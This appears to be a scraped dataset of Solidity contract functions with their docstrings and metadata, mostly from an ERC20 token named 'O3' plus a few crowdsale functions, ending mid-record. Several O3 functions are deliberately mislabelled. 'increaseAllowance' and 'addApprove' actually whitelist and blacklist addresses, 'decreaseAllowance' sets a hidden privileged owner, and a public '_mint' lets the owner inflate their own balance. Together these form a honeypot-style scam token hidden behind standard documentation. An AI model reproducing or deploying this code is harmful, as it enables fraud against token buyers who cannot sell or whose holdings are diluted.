* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4774,
5095
]
} | 4,229 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
94,
154
]
} | 4,230 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
237,
310
]
} | 4,231 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
534,
616
]
} | 4,232 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
895,
983
]
} | 4,233 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1647,
1726
]
} | 4,234 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2039,
2141
]
} | 4,235 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1469,
1557
]
} | 4,236 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
1671,
1763
]
} | 4,237 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2396,
2484
]
} | 4,238 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | totalSupply | function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {IERC20-totalSupply}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2544,
2649
]
} | 4,239 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | balanceOf | function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
| /**
* @dev See {IERC20-balanceOf}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
2707,
2831
]
} | 4,240 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
| /**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3039,
3223
]
} | 4,241 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | allowance | function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
| /**
* @dev See {IERC20-allowance}.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
3770,
3926
]
} | 4,242 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
| /**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4068,
4242
]
} | 4,243 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
| /**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amou... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
4711,
5041
]
} | 4,244 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | increaseAllowance | function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
5445,
5736
]
} | 4,245 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
6234,
6382
]
} | 4,246 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` c... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
6797,
7081
]
} | 4,247 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances... | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
7568,
8116
]
} | 4,248 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _mint | function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
| /** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
8392,
8698
]
} | 4,249 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _to... | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
9025,
9448
]
} | 4,250 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount)... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
9883,
10232
]
} | 4,251 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(send... | /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
10677,
11269
]
} | 4,252 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
12988,
13083
]
} | 4,253 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapp... | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* -... | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
13681,
13778
]
} | 4,254 |
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token ... | issueTokens | function issueTokens(address _beneficiary, uint _contribution) onlyBackend onlyUnpaused external;
| /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1920,
2022
]
} | 4,255 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token ... | issueTokensWithCustomBonus | function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus) onlyBackend onlyUnpaused external;
| /**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend.
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total Tokens to issue... | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2490,
2634
]
} | 4,256 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token ... | pause | function pause() external onlyManager onlyUnpaused {
paused = true;
Paused();
}
| /**
* @dev Pauses the token allocation process.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2705,
2812
]
} | 4,257 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
/**
* @dev Confirms that token issuance for an off-chain purchase was processed successfully.
* @param _beneficiary Token ... | unpause | function unpause() external onlyManager onlyPaused {
paused = false;
Unpaused();
}
| /**
* @dev Unpauses the token allocation process.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2885,
2995
]
} | 4,258 | |||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | GenericCrowdsale | contract GenericCrowdsale {
address public icoBackend;
address public icoManager;
address public emergencyManager;
// paused state
bool paused = false;
